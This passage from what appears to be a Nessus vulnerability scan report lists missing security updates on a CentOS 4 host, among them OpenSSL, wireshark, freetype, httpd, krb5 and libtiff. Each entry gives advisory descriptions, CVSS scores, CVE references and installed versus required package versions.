A flaw was found in the way the TLS/SSL (Transport Layer Security/Secure Sockets Layer) protocols handled session renegotiation. A man-in-the-middle attacker could use this flaw to prefix arbitrary plain text to a client's session (for example, an HTTPS connection to a website). This could force the server to process an attacker's request as if authenticated using the victim's credentials. This update addresses this flaw by implementing the TLS Renegotiation Indication Extension, as defined in RFC 5746.
(CVE-2009-3555)

Refer to the following Knowledgebase article for additional details about the CVE-2009-3555 flaw:
<http://kbbase.redhat.com/faq/docs/DOC-20491>

Dan Kaminsky found that browsers could accept certificates with MD2 hash signatures, even though MD2 is no longer considered a cryptographically strong algorithm. This could make it easier for an attacker to create a malicious certificate that would be treated as trusted by a browser. OpenSSL now disables the use of the MD2 algorithm inside signatures by default. (CVE-2009-2409)

An input validation flaw was found in the handling of the BMPString and UniversalString ASN1 string types in OpenSSL's ASN1_STRING_print_ex() function. An attacker could use this flaw to create a specially crafted X.509 certificate that could cause applications using the affected function to crash when printing certificate

contents. (CVE-2009-0590)

Note: The affected function is rarely used. No application shipped with Red Hat Enterprise Linux calls this function, for example.

All OpenSSL users should upgrade to these updated packages, which contain backported patches to resolve these issues. For the update to take effect, all services linked to the OpenSSL library must be restarted, or the system rebooted.

See Also

<http://www.nessus.org/u?8293c0a3>
<http://www.nessus.org/u?88adda1d>
<http://www.nessus.org/u?489ca7c4>
<http://www.nessus.org/u?1ff00b55>

Solution

Update the affected openssl packages.

Risk Factor

Medium

CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:P)

CVSS v2.0 Temporal Score

4.5 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	34256
CVE	CVE-2009-0590
CVE	CVE-2009-2409
CVE	CVE-2009-3555
XREF	RHSA:2010:0163
XREF	CWE:119
XREF	CWE:310

Plugin Information

Published: 2010/03/26, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : openssl-0.9.7a-43.16
Should be : openssl-0.9.7a-43.17.el4_8.5
```

```
Remote package installed : openssl-devel-0.9.7a-43.16
Should be : openssl-devel-0.9.7a-43.17.el4_8.5
```

35767 - CentOS 3 / 4 : wireshark (CESA-2009:0313)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated wireshark packages that fix several security issues are now available for Red Hat Enterprise Linux 3, 4, and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

Wireshark is a program for monitoring network traffic. Wireshark was previously known as Ethereal.

Multiple buffer overflow flaws were found in Wireshark. If Wireshark read a malformed packet off a network or opened a malformed dump file, it could crash or, possibly, execute arbitrary code as the user running Wireshark. (CVE-2008-4683, CVE-2009-0599)

Several denial of service flaws were found in Wireshark. Wireshark could crash or stop responding if it read a malformed packet off a network, or opened a malformed dump file. (CVE-2008-4680, CVE-2008-4681, CVE-2008-4682, CVE-2008-4684, CVE-2008-4685, CVE-2008-5285, CVE-2009-0600)

Users of wireshark should upgrade to these updated packages, which contain Wireshark version 1.0.6, and resolve these issues. All running instances of Wireshark must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?08f2711c>
<http://www.nessus.org/u?18722f83>
<http://www.nessus.org/u?8e0ec61c>
<http://www.nessus.org/u?368d19bc>
<http://www.nessus.org/u?d5878e1f>
<http://www.nessus.org/u?65ab81d3>

Solution

Update the affected wireshark packages.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	31838
BID	32422
CVE	CVE-2008-4680
CVE	CVE-2008-4681
CVE	CVE-2008-4682
CVE	CVE-2008-4683
CVE	CVE-2008-4684
CVE	CVE-2008-4685
CVE	CVE-2008-5285
CVE	CVE-2008-6472
CVE	CVE-2009-0599
CVE	CVE-2009-0600
XREF	RHSA:2009:0313
XREF	CWE:20
XREF	CWE:119
XREF	CWE:399

Plugin Information

Published: 2009/03/05, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : wireshark-0.99.5-EL4.1
Should be : wireshark-1.0.6-2.el4_7

58042 - CentOS 4 / 5 / 6 : libpng / libpng10 (CESA-2012:0317)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated libpng and libpng10 packages that fix one security issue are now available for Red Hat Enterprise Linux 4, 5, and 6.

The Red Hat Security Response Team has rated this update as having important security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

The libpng packages contain a library of functions for creating and manipulating PNG (Portable Network Graphics) image format files.

A heap-based buffer overflow flaw was found in libpng. An attacker could create a specially crafted PNG image that, when opened, could cause an application using libpng to crash or, possibly, execute arbitrary code with the privileges of the user running the application. (CVE-2011-3026)

Users of libpng and libpng10 should upgrade to these updated packages, which contain a backported patch to correct this issue. All running applications using libpng or libpng10 must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?36932609>
<http://www.nessus.org/u?b6dc1551>
<http://www.nessus.org/u?54a74547>
<http://www.nessus.org/u?bab4d037>

Solution

Update the affected libpng and / or libpng10 packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

References

CVE-2011-3026
XREF RHSA:2012:0317

Plugin Information

Published: 2012/02/21, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : libpng-1.2.7-1.el4.2
Should be : libpng-1.2.7-9.el4
```

43624 - CentOS 4 / 5 : PyXML (CESA-2010:0002)

Synopsis

The remote CentOS host is missing a security update.

Description

An updated PyXML package that fixes one security issue is now available for Red Hat Enterprise Linux 4 and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

PyXML provides XML libraries for Python. The distribution contains a validating XML parser, an implementation of the SAX and DOM programming interfaces, and an interface to the Expat parser.

A buffer over-read flaw was found in the way PyXML's Expat parser handled malformed UTF-8 sequences when processing XML files. A specially crafted XML file could cause Python applications using PyXML's Expat parser to crash while parsing the file. (CVE-2009-3720)

This update makes PyXML use the system Expat library rather than its own internal copy; therefore, users must install the RHSA-2009:1625 expat update together with this PyXML update to resolve the CVE-2009-3720 issue.

All PyXML users should upgrade to this updated package, which changes PyXML to use the system Expat library. After installing this update along with RHSA-2009:1625, applications using the PyXML library must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?8534d9e5>
<http://www.nessus.org/u?b698fdd7>
<http://www.nessus.org/u?22c105925>
<http://www.nessus.org/u?a9360cd5>

Solution

Update the affected pyxml package.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID	36097
CVE	CVE-2009-3720
XREF	RHSA:2010:0002

Plugin Information

Published: 2010/01/05, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : PyXML-0.8.3-6
Should be : PyXML-0.8.3-6.e14_8.2
```

53872 - CentOS 4 / 5 : apr (CESA-2011:0507)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated apr packages that fix one security issue are now available for Red Hat Enterprise Linux 4, 5, and 6.

The Red Hat Security Response Team has rated this update as having moderate security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

The Apache Portable Runtime (APR) is a portability library used by the Apache HTTP Server and other projects. It provides a free library of C data structures and routines.

It was discovered that the `apr_fnmatch()` function used an unconstrained recursion when processing patterns with the '*' wildcard. An attacker could use this flaw to cause an application using this function, which also accepted untrusted input as a pattern for matching (such as an httpd server using the mod_autoindex module), to exhaust all stack memory or use an excessive amount of CPU time when performing matching. (CVE-2011-0419)

Red Hat would like to thank Maksymilian Arciemowicz for reporting this issue.

All apr users should upgrade to these updated packages, which contain a backported patch to correct this issue. Applications using the apr library, such as httpd, must be restarted for this update to take effect.

See Also

<http://www.nessus.org/u?ed35eba2>
<http://www.nessus.org/u?0fb6c3a9>
<http://www.nessus.org/u?d808d983>
<http://www.nessus.org/u?d82d77aa>

Solution

Update the affected apr packages.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2011-0419
XREF	RHSA:2011:0507

Plugin Information

Published: 2011/05/12, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : apr-0.9.4-24.5.c4.2
Should be : apr-0.9.4-25.el4
```

54938 - CentOS 4 / 5 : apr (CESA-2011:0844)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated apr packages that fix one security issue are now available for Red Hat Enterprise Linux 4, 5, and 6.

The Red Hat Security Response Team has rated this update as having low security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

The Apache Portable Runtime (APR) is a portability library used by the Apache HTTP Server and other projects. It provides a free library of C data structures and routines.

The fix for CVE-2011-0419 (released via RHSA-2011:0507) introduced an infinite loop flaw in the apr_fnmatch() function when the APR_FNM_PATHNAME matching flag was used. A remote attacker could possibly use this flaw to cause a denial of service on an application using the apr_fnmatch() function. (CVE-2011-1928)

Note: This problem affected httpd configurations using the 'Location' directive with wildcard URLs. The denial of service could have been triggered during normal operation; it did not specifically require a malicious HTTP request.

This update also addresses additional problems introduced by the rewrite of the apr_fnmatch() function, which was necessary to address the CVE-2011-0419 flaw.

All apr users should upgrade to these updated packages, which contain a backported patch to correct this issue. Applications using the apr library, such as httpd, must be restarted for this update to take effect.

See Also

<http://www.nessus.org/u?4bcd8433>
<http://www.nessus.org/u?7612f342>
<http://www.nessus.org/u?539b3068>
<http://www.nessus.org/u?1ae2d348>

Solution

Update the affected apr packages.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	47929
CVE	CVE-2011-0419
CVE	CVE-2011-1928
XREF	RHSA:2011:0844

Plugin Information

Published: 2011/06/02, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : apr-0.9.4-24.5.c4.2
Should be : apr-0.9.4-26.el4
```

55515 - CentOS 4 / 5 : curl (CESA-2011:0918)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated curl packages that fix one security issue are now available for Red Hat Enterprise Linux 4, 5, and 6.

The Red Hat Security Response Team has rated this update as having moderate security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

cURL provides the libcurl library and a command line tool for downloading files from servers using various protocols, including HTTP, FTP, and LDAP.

It was found that cURL always performed credential delegation when authenticating with GSSAPI. A rogue server could use this flaw to obtain the client's credentials and impersonate that client to other servers that are using GSSAPI. (CVE-2011-2192)

Users of curl should upgrade to these updated packages, which contain a backported patch to correct this issue. All running applications using libcurl must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?e0125226>
<http://www.nessus.org/u?9bd496c4>
<http://www.nessus.org/u?d738b6a8>
<http://www.nessus.org/u?28ddfee8>

Solution

Update the affected curl packages.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

BID	48434
CVE	CVE-2011-2192
XREF	RHSA:2011:0918

Plugin Information

Published: 2011/07/06, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : curl-7.12.1-11.el4
Should be : curl-7.12.1-17.el4
```

```
Remote package installed : curl-devel-7.12.1-11.el4
Should be : curl-devel-7.12.1-17.el4
```

25355 - CentOS 4 / 5 : file (CESA-2007:0391)

Synopsis

The remote CentOS host is missing a security update.

Description

An updated file package that fixes a security flaw is now available for Red Hat Enterprise Linux 4 and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The file command is used to identify a particular file according to the type of data contained by the file.

The fix for CVE-2007-1536 introduced a new integer underflow flaw in the file utility. An attacker could create a carefully crafted file which, if examined by a victim using the file utility, could lead to arbitrary code execution. (CVE-2007-2799)

This issue did not affect the version of the file utility distributed with Red Hat Enterprise Linux 2.1 or 3.

Users should upgrade to this erratum package, which contain a backported patch to correct this issue.

See Also

<http://www.nessus.org/u?be8a9d02>
<http://www.nessus.org/u?1bc4d246>
<http://www.nessus.org/u?1b052df5>
<http://www.nessus.org/u?e6150e81>
<http://www.nessus.org/u?801f097b>

Solution

Update the affected file package.

Risk Factor

Medium

CVSS v2.0 Base Score

5.1 (CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

3.8 (CVSS2#E:U/RL:OF/RC:C)

References

BID	24146
CVE	CVE-2007-2799
XREF	RHSA:2007:0391
XREF	CWE:189

Plugin Information

Published: 2007/06/01, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : file-4.10-3.el4.5
Should be : file-4.10-3.0.2.el4
```

48217 - CentOS 4 / 5 : freetype (CESA-2010:0578)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated freetype packages that fix various security issues are now available for Red Hat Enterprise Linux 4 and 5.

The Red Hat Security Response Team has rated this update as having important security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

FreeType is a free, high-quality, portable font engine that can open and manage font files. It also loads, hints, and renders individual glyphs efficiently. The freetype packages for Red Hat Enterprise Linux 4 provide both the FreeType 1 and FreeType 2 font engines. The freetype packages for Red Hat Enterprise Linux 5 provide only the FreeType 2 font engine.

An invalid memory management flaw was found in the way the FreeType font engine processed font files. If a user loaded a carefully-crafted font file with an application linked against FreeType, it could cause the application to crash or, possibly, execute arbitrary code with the privileges of the user running the application. (CVE-2010-2498)

An integer overflow flaw was found in the way the FreeType font engine processed font files. If a user loaded a carefully-crafted font file with an application linked against FreeType, it could cause the application to crash or, possibly, execute arbitrary code with the privileges of the user running the application. (CVE-2010-2500)

Several buffer overflow flaws were found in the way the FreeType font engine processed font files. If a user loaded a carefully-crafted font file with an application

linked against FreeType, it could cause the application to crash or, possibly, execute arbitrary code with the privileges of the user running the application. (CVE-2010-2499, CVE-2010-2519)

Several buffer overflow flaws were found in the FreeType demo applications. If a user loaded a carefully-crafted font file with a demo application, it could cause the application to crash or, possibly, execute arbitrary code with the privileges of the user running the application. (CVE-2010-2527, CVE-2010-2541)

Red Hat would like to thank Robert Swiecki of the Google Security Team for the discovery of the CVE-2010-2498, CVE-2010-2500, CVE-2010-2499, CVE-2010-2519, and CVE-2010-2527 issues.

Note: All of the issues in this erratum only affect the FreeType 2 font engine.

Users are advised to upgrade to these updated packages, which contain backported patches to correct these issues. The X server must be restarted (log out, then log back in) for this update to take effect.

See Also

<http://www.nessus.org/u?b9d2110d>
<http://www.nessus.org/u?eb8b8ddf>
<http://www.nessus.org/u?b78c705f>
<http://www.nessus.org/u?fecd5c92>

Solution

Update the affected freetype packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID	60740
BID	60750
CVE	CVE-2010-2498
CVE	CVE-2010-2499
CVE	CVE-2010-2500
CVE	CVE-2010-2519
CVE	CVE-2010-2527
CVE	CVE-2010-2541
XREF	RHSA:2010:0578

Plugin Information

Published: 2010/08/03, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : freetype-2.1.9-5.el4
Should be : freetype-2.1.9-14.el4.8
```

50808 - CentOS 4 / 5 : freetype (CESA-2010:0889)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated freetype packages that fix one security issue are now available for Red Hat Enterprise Linux 4, 5, and 6.

The Red Hat Security Response Team has rated this update as having important security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

FreeType is a free, high-quality, portable font engine that can open and manage font files. It also loads, hints, and renders individual glyphs efficiently. The freetype packages for Red Hat Enterprise Linux 4 provide both the FreeType 1 and FreeType 2 font engines. The freetype packages for Red Hat Enterprise Linux 5 and 6 provide only the FreeType 2 font engine.

A heap-based buffer overflow flaw was found in the way the FreeType font rendering engine processed certain TrueType GX fonts. If a user loaded a specially crafted font file with an application linked against FreeType, it could cause the application to crash or, possibly, execute arbitrary code with the privileges of the user running the application. (CVE-2010-3855)

Note: This issue only affects the FreeType 2 font engine.

Users are advised to upgrade to these updated packages, which contain a backported patch to correct this issue. The X server must be restarted (log out, then log back in) for this update to take effect.

See Also

<http://www.nessus.org/u?98443248>
<http://www.nessus.org/u?1adb9463>
<http://www.nessus.org/u?6dc5c4f7>
<http://www.nessus.org/u?328d7d08>

Solution

Update the affected freetype packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID	44214
CVE	CVE-2010-3855
XREF	RHSA:2010:0889

Plugin Information

Published: 2010/11/24, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : freetype-2.1.9-5.el4
Should be : freetype-2.1.9-17.el4_8.1
```

56654 - CentOS 4 / 5 : freetype (CESA-2011:1402)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated freetype packages that fix multiple security issues are now available for Red Hat Enterprise Linux 4, 5, and 6.

The Red Hat Security Response Team has rated this update as having important security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

FreeType is a free, high-quality, portable font engine that can open and manage font files. It also loads, hints, and renders individual glyphs efficiently. The freetype packages for Red Hat Enterprise Linux 4 provide both the FreeType 1 and FreeType 2 font engines. The freetype packages for Red Hat Enterprise Linux 5 and 6 provide only the FreeType 2 font engine.

Multiple input validation flaws were found in the way FreeType processed bitmap font files. If a specially crafted font file was loaded by an application linked against FreeType, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2011-3256)

Note: These issues only affected the FreeType 2 font engine.

Users are advised to upgrade to these updated packages, which contain a backported patch to correct these issues. The X server must be restarted (log out, then log back in) for this update to take effect.

See Also

<http://www.nessus.org/u?08c4a99b>
<http://www.nessus.org/u?72d83d10>
<http://www.nessus.org/u?3acb6c07>
<http://www.nessus.org/u?9b2e59ee>

Solution

Update the affected freetype packages.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:ND/RL:OF/RC:C)

References

BID	50155
CVE	CVE-2011-3256
XREF	RHSA:2011:1402

Plugin Information

Published: 2011/10/27, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : freetype-2.1.9-5.el4
Should be : freetype-2.1.9-20.el4
```

56570 - CentOS 4 / 5 : httpd (CESA-2011:1392)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated httpd packages that fix one security issue and one bug are now available for Red Hat Enterprise Linux 4 and 5.

The Red Hat Security Response Team has rated this update as having moderate security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

The Apache HTTP Server is a popular web server.

It was discovered that the Apache HTTP Server did not properly validate the request URI for proxied requests. In certain configurations, if a reverse proxy used the ProxyPassMatch directive, or if it used the RewriteRule directive with the proxy flag, a remote attacker could make the proxy connect to an arbitrary server, possibly disclosing sensitive information from internal web servers not directly accessible to the attacker. (CVE-2011-3368)

Red Hat would like to thank Context Information Security for reporting this issue.

This update also fixes the following bug :

* The fix for CVE-2011-3192 provided by the RHSA-2011:1245 update introduced regressions in the way httpd handled certain Range HTTP header values. This update corrects those regressions. (BZ#736593, BZ#736594)

All httpd users should upgrade to these updated packages, which contain backported patches to correct these issues. After installing the updated packages, the httpd daemon must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?55083c8a>
<http://www.nessus.org/u?0cbfcf97>
<http://www.nessus.org/u?1569ea8b>
<http://www.nessus.org/u?3f65d4a6>

Solution

Update the affected httpd packages.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	49957
CVE	CVE-2011-3368
XREF	RHSA:2011:1392

Plugin Information

Published: 2011/10/21, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : httpd-2.0.52-32.ent.centos4
Should be : httpd-2.0.52-49.ent.centos4

Remote package installed : httpd-manual-2.0.52-32.ent.centos4
Should be : httpd-manual-2.0.52-49.ent.centos4

Remote package installed : httpd-suexec-2.0.52-32.ent.centos4
Should be : httpd-suexec-2.0.52-49.ent.centos4

Remote package installed : mod_ssl-2.0.52-32.ent.centos4
Should be : mod_ssl-2.0.52-49.ent.centos4
```

50863 - CentOS 4 / 5 : krb5 (CESA-2010:0926)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated krb5 packages that fix multiple security issues are now available for Red Hat Enterprise Linux 4 and 5.

The Red Hat Security Response Team has rated this update as having moderate security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

Kerberos is a network authentication system which allows clients and servers to authenticate to each other using symmetric encryption and a trusted third party, the Key Distribution Center (KDC).

Multiple checksum validation flaws were discovered in the MIT Kerberos implementation. A remote attacker could use these flaws to tamper with certain Kerberos protocol packets and, possibly, bypass authentication mechanisms in certain configurations using Single-use Authentication Mechanisms. (CVE-2010-1323)

Red Hat would like to thank the MIT Kerberos Team for reporting these issues.

All krb5 users should upgrade to these updated packages, which contain a backported patch to correct these issues. After installing the updated packages, the krb5kdc daemon will be restarted automatically.

See Also

<http://www.nessus.org/u?1101683e>
<http://www.nessus.org/u?c52d1cc0>
<http://www.nessus.org/u?6ce3d4fe>
<http://www.nessus.org/u?39a4485d>

Solution

Update the affected krb5 packages.

Risk Factor

Medium

CVSS v3.0 Base Score

6.3 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L)

CVSS v3.0 Temporal Score

5.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

BID	45118
CVE	CVE-2010-1323
CVE	CVE-2010-1324
CVE	CVE-2010-4020
CVE	CVE-2010-4021
XREF	RHSA:2010:0926

Plugin Information

Published: 2010/12/02, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : krb5-devel-1.3.4-47
Should be : krb5-devel-1.3.4-62.el4_8.3
```

```
Remote package installed : krb5-libs-1.3.4-47
Should be : krb5-libs-1.3.4-62.el4_8.3
```

```
Remote package installed : krb5-workstation-1.3.4-47
Should be : krb5-workstation-1.3.4-62.el4_8.3
```

47738 - CentOS 4 / 5 : libtiff (CESA-2010:0519)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated libtiff packages that fix multiple security issues are now available for Red Hat Enterprise Linux 4 and 5.

The Red Hat Security Response Team has rated this update as having important security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

The libtiff packages contain a library of functions for manipulating Tagged Image File Format (TIFF) files.

Multiple integer overflow flaws, leading to a buffer overflow, were discovered in libtiff. An attacker could use these flaws to create a specially crafted TIFF file that, when opened, would cause an application linked against libtiff to crash or, possibly, execute arbitrary code. (CVE-2010-1411)

Multiple input validation flaws were discovered in libtiff. An attacker could use these flaws to create a specially crafted TIFF file that, when opened, would cause an application linked against libtiff to crash. (CVE-2010-2481, CVE-2010-2483, CVE-2010-2595, CVE-2010-2597)

Red Hat would like to thank Apple Product Security for responsibly reporting the CVE-2010-1411 flaw, who credit Kevin Finisterre of digitalmunition.com for the discovery of the issue.

All libtiff users are advised to upgrade to these updated packages, which contain backported patches to resolve these issues. All running applications linked against libtiff must be restarted for this update to take effect.

See Also

<http://www.nessus.org/u?fb9f892b>
<http://www.nessus.org/u?cd0980bd>
<http://www.nessus.org/u?b3963a55>
<http://www.nessus.org/u?4785d6fd>

Solution

Update the affected libtiff packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID	40823
BID	41088
BID	41295
CVE	CVE-2010-1411
CVE	CVE-2010-2481
CVE	CVE-2010-2483
CVE	CVE-2010-2595
CVE	CVE-2010-2597
CVE	CVE-2010-4665
XREF	RHSA:2010:0519

Plugin Information

Published: 2010/07/16, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : libtiff-3.6.1-12
Should be : libtiff-3.6.1-12.el4_8.5
```

53239 - CentOS 4 / 5 : libtiff (CESA-2011:0392)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated libtiff packages that fix one security issue and one bug are now available for Red Hat Enterprise Linux 4, 5, and 6.

The Red Hat Security Response Team has rated this update as having important security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

The libtiff packages contain a library of functions for manipulating Tagged Image File Format (TIFF) files.

A heap-based buffer overflow flaw was found in the way libtiff processed certain TIFF files encoded with a 4-bit run-length encoding scheme from ThunderScan. An attacker could use this flaw to create a specially crafted TIFF file that, when opened, would cause an application linked against libtiff to crash or, possibly, execute arbitrary code. (CVE-2011-1167)

This update also fixes the following bug :

* The RHSA-2011:0318 libtiff update introduced a regression that prevented certain TIFF Internet Fax image files, compressed with the CCITT Group 4 compression algorithm, from being read. (BZ#688825)

All libtiff users should upgrade to these updated packages, which contain a backported patch to resolve these issues. All running applications linked against libtiff must be restarted for this update to take effect.

See Also

<http://www.nessus.org/u?c2403549>
<http://www.nessus.org/u?1bc15383>
<http://www.nessus.org/u?7836c0a7>

Solution

Update the affected libtiff packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID	46951
CVE	CVE-2011-1167
XREF	RHSA:2011:0392

Plugin Information

Published: 2011/04/01, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : libtiff-3.6.1-12
Should be : libtiff-3.6.1-18.el4
```

51885 - CentOS 4 / 5 : libuser (CESA-2011:0170)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated libuser packages that fix one security issue are now available for Red Hat Enterprise Linux 4, 5, and 6.

The Red Hat Security Response Team has rated this update as having moderate security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

The libuser library implements a standardized interface for manipulating and administering user and group accounts. Sample applications that are modeled after applications from the shadow password suite (shadow-utils) are included in these packages.

It was discovered that libuser did not set the password entry correctly when creating LDAP (Lightweight Directory Access Protocol) users. If an administrator did not assign a password to an LDAP based user account, either at account creation with luseradd, or with lpasswd after account creation, an attacker could use this flaw to log into that account with a default password string that should have been rejected. (CVE-2011-0002)

Note: LDAP administrators that have used libuser tools to add users should check existing user accounts for plain text passwords, and reset them as necessary.

Users of libuser should upgrade to these updated packages, which contain a backported patch to correct this issue.

See Also

<http://www.nessus.org/u?38ecccff>
<http://www.nessus.org/u?af7fa5fd>
<http://www.nessus.org/u?a3b6f818>
<http://www.nessus.org/u?743cf623>

Solution

Update the affected libuser packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

CVSS v2.0 Temporal Score

4.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID	45791
CVE	CVE-2011-0002
XREF	RHSA:2011:0170

Plugin Information

Published: 2011/02/06, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : libuser-0.52.5-1.el4.1
Should be : libuser-0.52.5-1.1.el4_8.1
```

```
Remote package installed : libuser-devel-0.52.5-1.el4.1
Should be : libuser-devel-0.52.5-1.1.el4_8.1
```

43071 - CentOS 4 / 5 : ntp (CESA-2009:1648)

Synopsis

The remote CentOS host is missing a security update.

Description

An updated ntp package that fixes a security issue is now available for Red Hat Enterprise Linux 4 and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The Network Time Protocol (NTP) is used to synchronize a computer's time with a referenced time source.

Robin Park and Dmitri Vinokurov discovered a flaw in the way ntpd handled certain malformed NTP packets. ntpd logged information about all such packets and replied with an NTP packet that was treated as malformed when received by another ntpd. A remote attacker could use this flaw to create an NTP packet reply loop between two ntpd servers via a malformed packet with a spoofed source IP address and port, causing ntpd on those servers to use excessive amounts of CPU time and fill disk space with log messages. (CVE-2009-3563)

All ntp users are advised to upgrade to this updated package, which contains a backported patch to resolve this issue. After installing the update, the ntpd daemon will restart automatically.

See Also

<http://www.nessus.org/u?96d8db42>
<http://www.nessus.org/u?c315a515>
<http://www.nessus.org/u?6dc67174>
<http://www.nessus.org/u?5a95f2d9>

Solution

Update the affected ntp package.

Risk Factor

Medium

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A;P)

CVSS v2.0 Temporal Score

4.7 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2009-3563
XREF	RHSA:2009:1648

Plugin Information

Published: 2009/12/09, Modified: 2021/01/04

Plugin Output

tcp/0

